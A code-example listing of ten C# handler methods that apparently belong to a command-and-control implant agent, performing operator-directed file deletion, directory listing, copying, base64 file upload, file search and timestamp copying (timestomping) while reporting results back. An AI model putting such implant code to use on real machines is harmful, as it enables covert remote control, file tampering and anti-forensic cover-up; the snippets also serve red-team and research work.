Esempio n. 1
0
 private void RemoveFile(byte[] data)
 {
     try
     {
         var path = Encoding.UTF8.GetString(data);
         Filesystem.RemoveFile(path);
     }
     catch (Exception e)
     {
         Agent.SendError(e.Message);
     }
 }
Esempio n. 2
0
 private void PrintWorkingDirectory(byte[] data)
 {
     try
     {
         var result = Filesystem.PrintWorkingDirectory();
         Agent.SendOutput(result);
     }
     catch (Exception e)
     {
         Agent.SendError(e.Message);
     }
 }
Esempio n. 3
0
 private void RemoveDirectory(byte[] data)
 {
     try
     {
         var directory = Encoding.UTF8.GetString(data);
         Filesystem.RemoveDirectory(directory);
     }
     catch (Exception e)
     {
         Agent.SendError(e.Message);
     }
 }
Esempio n. 4
0
 private void GetDrives(byte[] data)
 {
     try
     {
         var result = Filesystem.GetDrives();
         Agent.SendOutput(result);
     }
     catch (Exception e)
     {
         Agent.SendError(e.Message);
     }
 }
Esempio n. 5
0
 private void ListDirectory(byte[] data)
 {
     try
     {
         var directory = Encoding.UTF8.GetString(data);
         var result    = Filesystem.ListDirectory(directory);
         Agent.SendOutput(result);
     }
     catch (Exception e)
     {
         Agent.SendError(e.Message);
     }
 }
Esempio n. 6
0
 private void CreateDirectory(byte[] data)
 {
     try
     {
         var path   = Encoding.UTF8.GetString(data);
         var result = Filesystem.CreateDirectory(path);
         Agent.SendOutput(result);
     }
     catch (Exception e)
     {
         Agent.SendError(e.Message);
     }
 }
Esempio n. 7
0
 private void CopyFile(byte[] data)
 {
     try
     {
         var split  = Encoding.UTF8.GetString(data).Split(' ');
         var source = split[0];
         var dest   = split[1];
         Filesystem.CopyFile(source, dest);
     }
     catch (Exception e)
     {
         Agent.SendError(e.Message);
     }
 }
Esempio n. 8
0
 private void UploadFile(byte[] data)
 {
     try
     {
         var split  = Encoding.UTF8.GetString(data).Split(' ');
         var source = Convert.FromBase64String(split[0]);
         var dest   = split[1];
         Filesystem.UploadFile(dest, source);
     }
     catch (Exception e)
     {
         Agent.SendError(e.Message);
     }
 }
Esempio n. 9
0
 private void ChangeFileTimestamp(byte[] data)
 {
     try
     {
         var split  = Encoding.UTF8.GetString(data).Split(' ');
         var source = split[0];
         var target = split[1];
         Filesystem.ChangeFileTimestamp(source, target);
     }
     catch (Exception e)
     {
         Agent.SendError(e.Message);
     }
 }
Esempio n. 10
0
 private void SearchForFile(byte[] data)
 {
     try
     {
         var split   = Encoding.UTF8.GetString(data).Split(' ');
         var path    = split[0];
         var pattern = split[1];
         var result  = Filesystem.SearchForFile(path, pattern);
         Agent.SendOutput(result);
     }
     catch (Exception e)
     {
         Agent.SendError(e.Message);
     }
 }